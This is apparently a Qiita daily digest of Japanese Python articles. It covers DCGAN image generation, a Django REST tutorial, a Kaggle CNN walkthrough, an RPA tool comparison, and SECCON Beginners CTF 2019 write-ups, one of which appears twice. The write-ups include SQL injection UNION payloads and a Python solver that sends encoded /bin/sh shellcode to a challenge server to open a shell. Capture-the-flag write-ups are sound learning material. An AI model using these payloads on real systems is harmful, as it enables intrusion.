20190526のPythonに関する記事は30件です。

DCGANを使って上白石萌歌さんらしきものを生成した話

今回は前回の続きとして。DCGANを用いて上白石萌歌さんらしきものを生成してみました。

とりあえず、DCGANの簡単な説明をしていきます。

DCGANとは

参考にしたサイトは以下
はじめてのGAN

一文でまとめると、CNNを用いたGAN。
dcgan_generator.png

CNNといってもプーリングはしないで、その代わりストライド2の畳み込みをする。

最後の方で全結合をしないで、Global average poolingを用いる。これを用いることで過学習を防いでくれる。(パラメータがなくなるから)
global_average_pooling.png

Batch Normalizationを用いて学習をはやくしたり、過学習を防ぐ。

GeneratorではReLUとTanhを用いるが、DiscriminatorではLeaky ReLUを用いる。

データセットの用意

スクレイピングとOpenCV2を使いました。詳しくはこちら

実装してみる

以下を参考にしました(というかほぼコピペ....)
5ステップでできるPyTorch - DCGAN
Colabで動かした結果はこちら

このコードは画像サイズが$64\times64$しか許されていないが、他のサイズを用いたいなら、頑張って畳み込みの部分を逆算するとよい。ちなみにDiscriminatorではサイズは辺の長さが半分ずつになっている。

gifの作り方を覚えたので載せておく。
Colavでconvertを使うのには、事前に以下のコマンドを実行することが必要。

!apt-get update && apt-get install imagemagick

以下でgifが作れる。

!convert -layers optimize -loop 0 -delay 10 ./Generated_Image/*.jpg animation.gif

結果

GANの時よりは色合いもろもろを含めてまあ良くなったかなぁという感じ。

ただ、まだまだ求めてるものとは程遠い。

(gifを貼る際に参考にしたサイト)
Qiitaにgifアニメを投稿する僕が考える一番簡単な方法【GIPHY CAPTURE】

前回の結果
GAN_kamisiraisi.png

今回の結果
4900.jpg

うーん、なんか下手な油絵みたいだなぁ。

まだまだ、俺の理想には遠いようだ。

チューニングをしたら良い感じのものができあがるのかなぁ。そもそもデータセットの質が悪いのかなぁ。まだGANの理解があまり足りていないので、もう少し理論の方を見ていきたい。

次回やることは未定ですが、ちょっとデータセットを改善したりGANの勉強をして、リベンジしたい。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

SECCON Beginners CTF 2019

ONLINE 2019/5/25

Qiitaに記事として馴染むかは分からんのですがとりあえず投稿
チームで参戦してだいたい20位くらい
BeginnersなのでWriteupも丁寧に書いてみる!

Web

BeginnersというだけあってESPer能力はさほど問われない問題が用意されていた

[warmup] Ramen 73pt

検索フィールドがあるモダンなラーメン屋さんのページが表示される。
とりあえずお約束のコードを打ち込んで見るところからスタートしてFlagをゲットするまで。

・step1:カラム数のチェック

' UNION SELECT  null, null, null ,null; #  -> Fatal Error
' UNION SELECT  null, null, null; # -> Fatal Error
' UNION SELECT  null, null; # -> error 無し

・step2:table名の取得
 それっぽいflagというテーブル名が見える

' UNION SELECT table_name , null FROM INFORMATION_SCHEMA.COLUMNS; #
・・・
INNODB_FT_CONFIG    
flag
members
・・・

・stage3:FLAG GET
 テーブルを読み込むとFlagが表示されてる

' UNION SELECT flag,null  FROM flag; #

FLAG:ctf4b{a_simple_sql_injection_with_union_select}

katsudon 101pt

Web問題?
よくわからないけどこんな文字列が渡される。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

とりあえずBase64に前半をかけるとFlagがいきなり出てきた・・・これでいいんでしょうか・・・
FLAG:ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

PWnable

[warmup]shellcoder 291pt

接続すると入力を求められるので、IDA(free)とgdbで解析して動作を見ていく。

nc 153.120.129.186 20000
Are you shellcoder?

「b,i,n,s,h」を含むと終了する。

shellcoder.png

抜けると読み込んだデータを実行するワイルドな設計
3.png

というわけで、こんな感じのコードを書いてShellを取って終了。
ShellcodeにはXORで/bin/shが見えない状態にするものを使用。

solver.py
import socket
import telnetlib

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("153.120.129.186",20000))
print s.recv(1024)
s.sendall(shellcode)
t = telnetlib.Telnet()
t.sock = s
t.interact()
# python solver.py 
Are you shellcoder?

ls
flag.txt
shellcoder
cat flag.txt    
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

Reversing

Leakage 186pt

実行時にflagを引数に渡すと正しいflagかどうかチェックしてくれるプログラム(たぶん)。

is_correct関数内で正しいかどうかをチェックしてる

1.png

0x40062Bのconvert関数でハードコーディングされているFlagをデコードして値をチェックしているのを発見。

2.png

convert関数のあとでcmpで比較してるところで値を張っていればFlagをゲット可能
FLAG:ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation 293pt

気づくのに若干時間がかかった問題
flagとして渡した値の特定のオフセットの1Byteを取り出し、演算した値とハードコーディングされている値をチェックしている箇所が延々と続く問題。
演算も毎回微妙に違うので人力で解析はかなりきつい・・・

IDAで見るとこんな感じで、ギザギザに見えるのが1つの処理でFlagが結構長いので手動でやる気はおきないしやってはいけない感じ

4.png

というわけで、angrを使いました。

solver.py
import angr

p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})

addr_main = p.loader.main_bin.get_symbol('main').addr
addr_succeeded = 0x40CEDA
addr_failed = 0x40CED2

initial_state = p.factory.blank_state(addr=addr_main)
initial_path = p.factory.path(initial_state)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,))

if len(e.found) > 0:
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)

スペックの低いPCでも5分くらいで出た
Flag:ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

SecconPass 425pt

C++で書かれているパスワードマネージャのようなもの。
ハードコーディングされているKeyがFlagになっている様子。
が、要所要所に「To be implemented(実装予定)」と記載された処理が・・・

とりあえず、Decrypt,Encrypt,Destroyしている箇所を読んでいく。と、0x39F0にあるデータを使用しようとしている雰囲気が。

5.png

0x3739でこの個所をXorすると、Flagの一部と思われる値「ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9」が出現

6.png

↓ XOR後

7.png

しかし、のこりのFlagが出てこない。

と、悩んでいるとアナウンスが・・・
どうやら中途半端にしかFlagが存在していない様子。
悩んだ時間はなんだったのかwまぁいいけど
Flag:ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9

Misc

Sliding puzzle 206pt

0の位置がいわゆるブランクで、0をどのように操作すると0~8が順番通りに並ぶかを答える問題。
0を動かした順番は、0,1,3,0 のように入力する。
1回正解しても何度も問題が出題されるので、連続で解く必要がある問題。
ジャンルとしてはプログラミングになるのでは。

----------------      ----------------
|  0 |  2 |  3 |      |  0 |  1 |  2 |
|  6 |  7 |  1 | これを、 |  3 |  4 |  5 | にするときの0のルートを回答。
|  8 |  4 |  5 |      |  6 |  7 |  8 |
----------------      ----------------

最初自力でSolverを書いたところ、答えが合っているだけではだめで、最短経路じゃないとダメらしい。
たまに最短じゃなかったらしく心が折れかけた(・ω・

と、思ったら優秀なSolverを発見。
https://github.com/YahyaAlaaMassoud/Sliding-Puzzle-A-Star-Solver

これを魔改造して回答をGETしました。

FLAG:ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

Pwn問題が解けなかったのが悔しい!
次はPwnがんばる

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

SECCON Beginners CTF 2019 Writeup

ONLINE 2019/5/25

Qiitaに記事として馴染むかは分からんのですがとりあえず投稿
チームで参戦してだいたい20位くらい
BeginnersなのでWriteupも丁寧に書いてみる!

Web

BeginnersというだけあってESPer能力はさほど問われない問題が用意されていた

[warmup] Ramen 73pt

検索フィールドがあるモダンなラーメン屋さんのページが表示される。
とりあえずお約束のコードを打ち込んで見るところからスタートしてFlagをゲットするまで。

・step1:カラム数のチェック

' UNION SELECT  null, null, null ,null; #  -> Fatal Error
' UNION SELECT  null, null, null; # -> Fatal Error
' UNION SELECT  null, null; # -> error 無し

・step2:table名の取得
 それっぽいflagというテーブル名が見える

' UNION SELECT table_name , null FROM INFORMATION_SCHEMA.COLUMNS; #
・・・
INNODB_FT_CONFIG    
flag
members
・・・

・stage3:FLAG GET
 テーブルを読み込むとFlagが表示されてる

' UNION SELECT flag,null  FROM flag; #

FLAG:ctf4b{a_simple_sql_injection_with_union_select}

katsudon 101pt

Web問題?
よくわからないけどこんな文字列が渡される。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

とりあえずBase64に前半をかけるとFlagがいきなり出てきた・・・これでいいんでしょうか・・・
FLAG:ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

PWnable

[warmup]shellcoder 291pt

接続すると入力を求められるので、IDA(free)とgdbで解析して動作を見ていく。

nc 153.120.129.186 20000
Are you shellcoder?

「b,i,n,s,h」を含むと終了する。

shellcoder.png

抜けると読み込んだデータを実行するワイルドな設計
3.png

というわけで、こんな感じのコードを書いてShellを取って終了。
ShellcodeにはXORで/bin/shが見えない状態にするものを使用。

solver.py
import socket
import telnetlib

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("153.120.129.186",20000))
print s.recv(1024)
s.sendall(shellcode)
t = telnetlib.Telnet()
t.sock = s
t.interact()
# python solver.py 
Are you shellcoder?

ls
flag.txt
shellcoder
cat flag.txt    
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

Reversing

Leakage 186pt

実行時にflagを引数に渡すと正しいflagかどうかチェックしてくれるプログラム(たぶん)。

is_correct関数内で正しいかどうかをチェックしてる

1.png

0x40062Bのconvert関数でハードコーディングされているFlagをデコードして値をチェックしているのを発見。

2.png

convert関数のあとでcmpで比較してるところで値を張っていればFlagをゲット可能
FLAG:ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation 293pt

気づくのに若干時間がかかった問題
flagとして渡した値の特定のオフセットの1Byteを取り出し、演算した値とハードコーディングされている値をチェックしている箇所が延々と続く問題。
演算も毎回微妙に違うので人力で解析はかなりきつい・・・

IDAで見るとこんな感じで、ギザギザに見えるのが1つの処理でFlagが結構長いので手動でやる気はおきないしやってはいけない感じ

4.png

というわけで、angrを使いました。

solver.py
import angr

p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})

addr_main = p.loader.main_bin.get_symbol('main').addr
addr_succeeded = 0x40CEDA
addr_failed = 0x40CED2

initial_state = p.factory.blank_state(addr=addr_main)
initial_path = p.factory.path(initial_state)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,))

if len(e.found) > 0:
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)

スペックの低いPCでも5分くらいで出た
Flag:ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

SecconPass 425pt

C++で書かれているパスワードマネージャのようなもの。
ハードコーディングされているKeyがFlagになっている様子。
が、要所要所に「To be implemented(実装予定)」と記載された処理が・・・

とりあえず、Decrypt,Encrypt,Destroyしている箇所を読んでいく。と、0x39F0にあるデータを使用しようとしている雰囲気が。

5.png

0x3739でこの個所をXorすると、Flagの一部と思われる値「ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9」が出現

6.png

↓ XOR後

7.png

しかし、のこりのFlagが出てこない。

と、悩んでいるとアナウンスが・・・
どうやら中途半端にしかFlagが存在していない様子。
悩んだ時間はなんだったのかwまぁいいけど
Flag:ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9

Misc

Sliding puzzle 206pt

0の位置がいわゆるブランクで、0をどのように操作すると0~8が順番通りに並ぶかを答える問題。
0を動かした順番は、0,1,3,0 のように入力する。
1回正解しても何度も問題が出題されるので、連続で解く必要がある問題。
ジャンルとしてはプログラミングになるのでは。

----------------      ----------------
|  0 |  2 |  3 |      |  0 |  1 |  2 |
|  6 |  7 |  1 | これを、 |  3 |  4 |  5 | にするときの0のルートを回答。
|  8 |  4 |  5 |      |  6 |  7 |  8 |
----------------      ----------------

最初自力でSolverを書いたところ、答えが合っているだけではだめで、最短経路じゃないとダメらしい。
たまに最短じゃなかったらしく心が折れかけた(・ω・

と、思ったら優秀なSolverを発見。
https://github.com/YahyaAlaaMassoud/Sliding-Puzzle-A-Star-Solver

これを魔改造して回答をGETしました。

FLAG:ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

Pwn問題が解けなかったのが悔しい!
次はPwnがんばる

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

SECCON Beginners CTF 2019のアホアホWrite-up

チームTambourineKissでBeginners CTF 2019に参加してきました。

image.png

デビュー戦にしては大きな一歩です!(笑)

自分は、Party, Sliding puzzle, Seccompareの3問と
終了後にContainersを解きました。

Party

暗号化のコードと、暗号結果が与えられる。

encrypt.py
from Crypto.Util.number import bytes_to_long, getRandomInteger, getPrime, long_to_bytes

def f(x, coeff):
    y = 0
    for i in range(len(coeff)):
        y += coeff[i] * pow(x, i)
    return y


N = 512
M = 3
secret = bytes_to_long(FLAG)
assert(secret < 2**N)

coeff = [secret] + [getRandomInteger(N) for i in range(M-1)]
party = [getRandomInteger(N) for i in range(M)]

val = map(lambda x: f(x, coeff), party)
output = list(zip(party, val))
print(output)
encrypted
[
(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), 
(3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), 
(6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)
]

FLAGという文字列をlong型整数に変換し、多項式計算した結果を出力している。

コードを読むとつまりはこうなっている。

secret + c_1 \times p_0 + c_2 \times p_0^2 = v0 \\
secret + c_1 \times p_1 + c_2 \times p_1^2 = v1 \\
secret + c_1 \times p_2 + c_2 \times p_2^2 = v2 \\

encryptedには[(p0, v0), (p1, v1), (p2, v2)]が与えられているので、連立方程式を解いてsecretを求める。

import sympy

s = sympy.Symbol('s')
c1 = sympy.Symbol('c1')
c2 = sympy.Symbol('c2')

expr1 = s + c1 * p0 + c2 * p0**2 - v0
expr2 = s + c1 * p1 + c2 * p1**2 - v1
expr3 = s + c1 * p2 + c2 * p2**2 - v2

print(sympy.solve([expr1, expr2, expr3]))

secret = 175721217420600153444809007773872697631803507409137493048703574941320093728 となり、これをlong_to_bytes(secret, N)でFLAGに戻す。

long_to_bytes(secret, N)
>>> b'\x00\x00\x00 ... \x00\x00ctf4b{just_d0ing_sh4mir}'

ctf4b{just_d0ing_sh4mir}

Sliding puzzle

ncコマンドでサーバーから送られてくる8パズルの問題を解いて、答えを送信する。

----------------
| 06 | 03 | 02 |
| 01 | 05 | 08 |
| 07 | 04 | 00 |
----------------

3秒くらい経つと遮断される。

8パズルをpythonで解くコードがあったので、それを拝借。
8 Puzzle (GitHub) - 8パズル - summer_tree_home

8-puzzle_solver.py
from collections import deque

MOVE = {'0': (0, -1), '2': (0, 1), '3': (-1, 0), '1': (1, 0)}

def get_next(numbers):
    for d in '0231':
        zero_index = numbers.index(0)
        tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1]
        if 0 <= tx < 3 and 0 <= ty < 3:
            target_index = ty * 3 + tx
            result = list(numbers)
            result[zero_index], result[target_index] = numbers[target_index], 0
            yield d, tuple(result)

def checkio(puzzle):
    queue = deque([(tuple(n for line in puzzle for n in line), '')])
    seen = set()
    while queue:
        numbers, route = queue.popleft()
        seen.add(numbers)
        if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8):
            return route
        for direction, new_numbers in get_next(numbers):
            if new_numbers not in seen:
                queue.append((new_numbers, route + direction + ','))

あとはpythonでNetcat通信をする。
Pythonによる通信処理

solver.py
import socket
import numpy as np

host = "XXX.XXX.XXX.XXX"
port = xxxx

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

while True:

    response = client.recv(4096)
    print(response)

    p = response.decode('utf-8').replace(' ','').split('|')
    puzzle = p[1:4] + p[5:8] + p[9:12]
    puzzle = np.array(list(map(int, puzzle))).reshape(3, 3)
    print(puzzle)

    ans = checkio(puzzle.reshape(3,3)).rstrip(',').encode('utf-8')
    print(ans)

    client.send(ans)

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

Seccompare

seccompareという実行ファイルが与えらる。

$ file seccompare
seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped

とりあえずのstringsでも特に何も無い。

Ubuntu環境で実行してみたら、文字列を引数としてflagとして正しいか否かを出力するというものだった。

ファイルの中身を確認してみる。

$ hexdump -C seccompare
...
00000620  00 e8 ba fe ff ff b8 01  00 00 00 e9 b1 00 00 00  |................|
00000630  c6 45 d0 63 c6 45 d1 74  c6 45 d2 66 c6 45 d3 34  |.E.c.E.t.E.f.E.4|
00000640  c6 45 d4 62 c6 45 d5 7b  c6 45 d6 35 c6 45 d7 74  |.E.b.E.{.E.5.E.t|
00000650  c6 45 d8 72 c6 45 d9 31  c6 45 da 6e c6 45 db 67  |.E.r.E.1.E.n.E.g|
00000660  c6 45 dc 73 c6 45 dd 5f  c6 45 de 31 c6 45 df 73  |.E.s.E._.E.1.E.s|
00000670  c6 45 e0 5f c6 45 e1 6e  c6 45 e2 30 c6 45 e3 74  |.E._.E.n.E.0.E.t|
00000680  c6 45 e4 5f c6 45 e5 65  c6 45 e6 6e c6 45 e7 30  |.E._.E.e.E.n.E.0|
00000690  c6 45 e8 75 c6 45 e9 67  c6 45 ea 68 c6 45 eb 7d  |.E.u.E.g.E.h.E.}|
000006a0  c6 45 ec 00 48 8b 45 c0  48 83 c0 08 48 8b 10 48  |.E..H.E.H...H..H|
...

おったw

テキストエディタなどで.E.などを除去して、
ctf4b{5tr1ngs_1s_n0t_en0ugh}

Containers

containersというバイナリファイルが与えられる。

binwalkforemostコマンドで中身のデータを抽出できるようだが、アホなのでforemostコマンドしたoutputファイルが生成されたことに気づかず、binwalkでゴリ押した。

foremostだと一発じゃ〜ん何だよ〜言ってくれよ

stringsすると、最後の方に怪しげなpythonコードがある。

VALIDATOR.import hashlib
print('Valid flag.' if hashlib.sha1(input('Please your flag:').encode('utf-8')).hexdigest()=='3c90b7f38d3c200d8e6312fbea35668bec61d282' else 'wrong.'.ENDCONTAINER

binwalkするとPNGがたくさんあることがわかる。

$ binwalk -e containers 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
16            0x10            PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
107           0x6B            Zlib compressed data, compressed
738           0x2E2           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
829           0x33D           Zlib compressed data, compressed
1334          0x536           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
...

抽出されたものは、115D、115D.zlibなどがたくさんあった。
115Dがヘッダーが無い画像の値のみのファイルだという推測の元、画像として無理やり開いた。

list = ['115D', '147F', '1731', '1A9D', '1EA8', '20ED', '2476', '28AA', '2B7D', '2FB1', '3264', '33D', '3670', '395B', '3D0A', '4093', '43FC', '4785', '4B0E', '4E31', '51E0', '5549', '581C', '591', '5BCB', '5E10', '6145', '64F4', '68FF', '6B', '6C2A', '6FB3', '71F8', '74CB', '78D7', '7B7F', '7D5', 'B83', 'EAD']

for name in list:
    f = open(name, mode='rb')
    topo = np.fromfile(f, dtype='uint8',sep='')[:65536].reshape(128,128,4)
    plt.imshow(topo[:,:,:4])
    plt.show()

image.png
無理やり開いた画像

00000008.png
(正しい画像はこう)

順番がめちゃくちゃだったので、先ほどのstringsで出てきたハッシュ値が一致するように順列で総当りする。
普通じゃ終わらない長さだけど、運が良いのでできた。

import itertools
text = 'e52df60c058746a66e4ac4f34dbc6f81'
for element in itertools.permutations(text, len(text)):
    if hashlib.sha1(('ctf4b{'+''.join(element)+'}').encode('utf-8')).hexdigest()=='3c90b7f38d3c200d8e6312fbea35668bec61d282':
        print('ctf4b{'+''.join(element)+'}')

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

以上です。
Biginners向けとしてはちょっとかなりだいぶ難しかったですね。お疲れ様でした。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Django REST frameworkチュートリアル その4.2

Associating Snippets with Users

前回の記事「Django REST frameworkチュートリアル その4.1」の続きです。
チュートリアルその4の記事で以下のTODOがありました。

スニペットを登録するときに自動でリクエストを送った人がownerとなるように登録したいです。

この機能を実装してみましょう。

views.py

この実装はかなり簡単です。SnippetListクラスのperform_create()メソッドをオーバーライドするだけです。

snippets/views.py
from rest_framework.response import Response
from snippets.models import Snippet
from snippets.serializers import SnippetSerializer, UserSerializer
from snippets.permissions import IsOwnerOrReadOnly
from django.contrib.auth.models import User
from rest_framework import generics, permissions


class SnippetList(generics.ListCreateAPIView):
    permission_classes = [permissions.IsAuthenticatedOrReadOnly]
    queryset = Snippet.objects.all()
    serializer_class = SnippetSerializer

    def perform_create(self, serializer):
        serializer.save(owner=self.request.user)


class SnippetDetail(generics.RetrieveUpdateDestroyAPIView):
    permission_classes = [IsOwnerOrReadOnly]
    queryset = Snippet.objects.all()
    serializer_class = SnippetSerializer


class UserList(generics.ListCreateAPIView):
    permission_classes = [permissions.AllowAny]
    queryset = User.objects.all()
    serializer_class = UserSerializer


class UserDetails(generics.RetrieveUpdateDestroyAPIView):
    permission_classes = [IsOwnerOrReadOnly]
    queryset = User.objects.all()
    serializer_class = UserSerializer

公式ドキュメントを参照すると、

perform_create(self, serializer) - Called by CreateModelMixin when saving a new object instance.

とあります。perform_createCreateModelMixinから呼び出されて、新しいオブジェクトインスタンスを保存するときに呼び出されるメソッドのようですね。

テスト

スニペットを新規作成するリクエストを送ってみましょう。

curl -X POST -H 'Content-Type:application/json' -H 'Authorization: Bearer <your access token>' -d '{"title":"hoge","code":"fuga"}' http://localhost:8000/snippets/

ownerが自動で登録されるのが確認できたでしょうか。

以上でオーナーの自動登録は完了です。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

画像認識チュートリアルのTop6%の手法を触ってみた(Digit Recognizer、CNN)

今回はコンペへの実際の参加ではなく、コンペにあるカーネル(他の人のお手本みたいなやつ)を試してみます。
今回は初めてdeep learning を使ったので、最初はKerasの使い方が全然分かりませんでした()

実際に触ったやつ
https://www.kaggle.com/yassineghouzam/introduction-to-cnn-keras-0-997-top-6

それではいつものように流れを追っていきます

Digit Recognizerとは

与えられた画像を見て、訓練データの画像はなんと37800個もあって、それぞれの画像が0から9までのどの数字になるかの識別を行うコンペです。データは28×28のピクセルのもので、それぞれのピクセルごとに0から255までの数字が割り与えられます(値は小さければ小さいほど白に近い)。

前処理

今回の前処理はあまりやることは多くありません。というのも、画像データをピクセルごとに0から1の範囲に標準化して画像データなので訓練データのYをカテゴライズ化して、訓練データを反転させたりして水増しするだけです。それでは見ていきます。

標準化とカテゴライズ化(モジュールのインポートは省略)

train = pd.read_csv("../input/train.csv")
test = pd.read_csv("../input/test.csv")
Y_train = train["label"]
X_train = X_train / 255.0
test = test / 255.0

Y_train = to_categorical(Y_train, num_classes = 10)

次に水増しの作業です。これが最初正直何言ってるか全然分かりませんでしたが、Kerasのドキュメントを読みながら必死に理解しました
やってる事は、拡大だったり回転だったりをするのかしないのかなどを設定し、するならその値も設定するって感じですね。このImageDataGeneratorは後ほどmodelにFitさせるときにまとめて使用します。

ImageDataGeneratorの説明↓
https://keras.io/ja/preprocessing/image/

datagen = ImageDataGenerator(
        featurewise_center=False,  # set input mean to 0 over the dataset
        samplewise_center=False,  # set each sample mean to 0
        featurewise_std_normalization=False,  # divide inputs by std of the dataset
        samplewise_std_normalization=False,  # divide each input by its std
        zca_whitening=False,  # apply ZCA whitening
        rotation_range=10,  # randomly rotate images in the range (degrees, 0 to 180)
        zoom_range = 0.1, # Randomly zoom image 
        width_shift_range=0.1,  # randomly shift images horizontally (fraction of total width)
        height_shift_range=0.1,  # randomly shift images vertically (fraction of total height)
        horizontal_flip=False,  # randomly flip images
        vertical_flip=False)  # randomly flip images

datagen.fit(X_train)

さて、これで前処理は完了です。次にモデルの設計をしていきます。

モデルの設計

モデルの構成としては

28×28×1を入力
   ↓
二回畳み込む
   ↓
プーリング層
   ↓
ドロップアウト層
   ↓
一次配列にする(Flatten())
   ↓
中間層(258個のニューロン)
   ↓
ドロップアウト層
   ↓
10個のニューロン
   ↓
  出力

こんな感じの流れになってます。ちなみにこの値になるまでのパラメータチューニングは今回は省略、というかよく自分でも分かってないし実際になったら重そうだからやりたくない()

model = Sequential()

model.add(Conv2D(filters = 32, kernel_size = (5,5),padding = 'Same', 
                 activation ='relu', input_shape = (28,28,1)))
model.add(Conv2D(filters = 32, kernel_size = (5,5),padding = 'Same', 
                 activation ='relu'))
model.add(MaxPool2D(pool_size=(2,2)))
model.add(Dropout(0.25))


model.add(Conv2D(filters = 64, kernel_size = (3,3),padding = 'Same', 
                 activation ='relu'))
model.add(Conv2D(filters = 64, kernel_size = (3,3),padding = 'Same', 
                 activation ='relu'))
model.add(MaxPool2D(pool_size=(2,2), strides=(2,2)))
model.add(Dropout(0.25))


model.add(Flatten())
model.add(Dense(256, activation = "relu"))
model.add(Dropout(0.5))
model.add(Dense(10, activation = "softmax"))

実行

あとはこれをコンパイルして実行します。
OptimizerにはRMSprop、評価指標にはクロスエントロピーを使用してます。
また、epochは1に設定されていますが、これは一回回すのにも時間がかかるためです。実際は30回回してますが、自分は重かったのでそんなに回してないです笑

optimizer = RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.0)
model.compile(optimizer = optimizer , loss = "categorical_crossentropy", metrics=["accuracy"])
learning_rate_reduction = ReduceLROnPlateau(monitor='val_acc', 
                                            patience=3, 
                                            verbose=1, 
                                            factor=0.5, 
                                            min_lr=0.00001)
epochs = 1 # Turn epochs to 30 to get 0.9967 accuracy
batch_size = 86

history = model.fit_generator(datagen.flow(X_train,Y_train, batch_size=batch_size), epochs = epochs, validation_data = (X_val,Y_val),verbose = 2, steps_per_epoch=X_train.shape[0] // batch_size, callbacks=[learning_rate_reduction])

最後にこのモデルを使って予測をして完成です!

results = model.predict(test)

最後に

とにかく感想としては、やっぱりディープラーニングは動きが重くて時間かかるなあと感じました。
ちなみに今回は自分はKerasや畳み込みニューラルネットワークについて全く知らなかったので、「直感DeepLearning」という本を使って理解しました。中のロジックについては今まさにcourseraのDeepLeaningコースで学習しているところです。今度はこれについても書こうと思っています。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

RPA九人衆による「アカネチャンカワイイヤッタ」

レギュレーション

各RPAツールでVOICEROID2の茜ちゃんに「アカネチャンカワイイヤッタ」と言わせた後にファイルを保存します。
画像認識できる場合は葵ちゃんにもしゃべってもらいます。

環境:
 Window10 64bit
 VoiceRoide2

画面構成
スライド1.PNG

タブの中の子要素が取れない問題について:
https://teratail.com/questions/53276

保存時の画面遷移
スライド2.PNG

参加ツール

ツール名 簡単な説明
VBA + UIAutomation UIAutomationをCOM経由でVBAで実行して画面操作します。ツールに頼らない裸の強さを見せてくれます。
PowerShell + UIAutomation UIAutomationを.NET経由でPowerShellを使って実行します。Windows7以降ならOfficeすら不要という強さがあります。
WinAppDriver Microsoftが開発したSeleniumライクの自動操作を実現するツール。Seleniumを使うなら俺も使えという熱い気持ちが伝わってきます。
Friendly 本来はテストツール。操作対象のアプリにテスト用のDLLをインジェクションするという荒業をみせて、参加選手のなか唯一タブの中の要素を画像認識を使わずに操作した豪の物です。
PyAutoGUI Pythonでの自動操作を実現します。基本的に画像認識で操作を行いますが、旨く作ればMacでもLinuxでも動作します。最近のPythonブームによって躍進が期待されます。
UWSC 古のツールの中で唯一UIAutomationが認識できる要素を解析できたつわものです。バランスの取れたいい選手ですが、このたび公式サイトが閉鎖されるというアクシデントがあり引退がささやかれています。
sikulix 画像認識に特化したツール。IDEが使いやすくデザインされています。またJavaで動作してどこでも動くうえ、スクリプト自体はPythonやRuby,JavaScriptで記載できる欲張りセットになっております。
RocketMouse 昔からある自動操作ツール。画像認識はできるが、オブジェクトの認識はWin32で作ったものしかできません。今回は試用版による参加
UIPath 2018年のforresterの調査でRPAのリーダーと言わしめた製品。高価格帯からは唯一の参戦だが、Community版なら個人や小規模事業では使用できるというサプライズ。

なお、AutoIt選手とAutoHotKey選手につきましてはUIAutomationのCOMを触るためのIFを用意する必要があり、それ以外だと、画像認識しかできないので今回は欠場となっております。

アカネチャンカワイイヤッターの実行

